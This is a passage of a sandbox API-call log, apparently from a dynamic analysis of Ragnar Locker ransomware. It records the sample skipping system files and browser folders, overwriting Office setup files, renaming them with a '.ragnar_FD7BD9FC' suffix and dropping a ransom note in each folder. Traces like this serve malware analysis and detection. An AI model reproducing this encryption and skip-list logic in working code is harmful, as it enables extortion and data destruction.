lpString2="ntuser.dat.log") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="ntuser.ini") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="thumbs.db") returned -1 [0062.951] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.951] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.951] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.951] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.951] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.951] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.951] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0062.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0062.951] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=3186) returned 1 [0062.951] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xc69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.952] GetProcessHeap () returned 0x580000 [0062.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.952] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.953] VirtualAlloc (lpAddress=0x0, dwSize=0xc72, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.953] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.954] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.954] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0xc72, lpOverlapped=0x0) returned 1 [0062.954] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.954] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc72, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.954] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc72, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0xc72, lpOverlapped=0x0) returned 1 [0062.954] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc72, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.954] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.954] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xc72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.954] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.954] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.954] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.955] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.955] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.955] GetProcessHeap () returned 0x580000 [0062.955] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.955] CloseHandle (hObject=0x108) returned 1 [0062.956] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" [0062.956] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.ragnar_FD7BD9FC" [0062.956] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.956] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c2ea60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77c2ea60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.956] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0062.956] lstrcpyW (in: lpString1=0x1ea0d4, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0062.956] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0062.956] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0062.956] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.956] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0062.956] lstrcpyW (in: lpString1=0x1ea0d4, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0062.956] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned=".XML" [0062.956] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0062.956] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0062.957] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0062.957] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.957] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.957] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.957] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.957] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.957] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.957] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0062.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0062.958] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=4207) returned 1 [0062.958] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1066, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.958] GetProcessHeap () returned 0x580000 [0062.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.958] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.960] VirtualAlloc (lpAddress=0x0, dwSize=0x106f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.960] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.960] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.960] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x106f, lpOverlapped=0x0) returned 1 [0062.961] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.961] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x106f, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.961] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x106f, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x106f, lpOverlapped=0x0) returned 1 [0062.961] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x106f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.961] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.961] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x106f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.961] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.962] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.962] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.962] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.962] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.962] GetProcessHeap () returned 0x580000 [0062.962] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.962] CloseHandle (hObject=0x108) returned 1 [0062.963] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" [0062.963] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0062.963] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.963] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.963] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.964] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0062.964] lstrcmpiW (lpString1="pidgenx.dll", lpString2=".") returned 1 [0062.964] lstrcmpiW (lpString1="pidgenx.dll", lpString2="..") returned 1 [0062.964] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0062.964] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".") returned 1 [0062.964] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="..") returned 1 [0062.964] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0062.964] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2=".") returned 1 [0062.964] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="..") returned 1 [0062.964] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2=".") returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="..") returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Windows") returned -1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Windows.old") returned -1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Tor browser") returned -1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Internet Explorer") returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Google") returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Opera") returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Opera Software") returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Mozilla") returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="Mozilla Firefox") returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="$Recycle.Bin") returned 1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="ProgramData") returned -1 [0062.964] lstrcmpiW (lpString1="PowerPoint.en-us", lpString2="All Users") returned 1 [0062.964] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0062.964] lstrcpyW (in: lpString1=0x1eab90, lpString2="PowerPoint.en-us" | out: lpString1="PowerPoint.en-us") returned="PowerPoint.en-us" [0062.964] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\" [0062.964] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\" [0062.964] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\RGNR_FD7BD9FC.txt" [0062.964] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0062.969] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*" [0062.969] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x68 [0062.969] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.969] lstrcpyW (in: lpString1=0x1e9cc6, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77c54bc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c54bc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.969] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0062.969] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77c54bc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c54bc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.969] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0062.969] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0062.969] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, 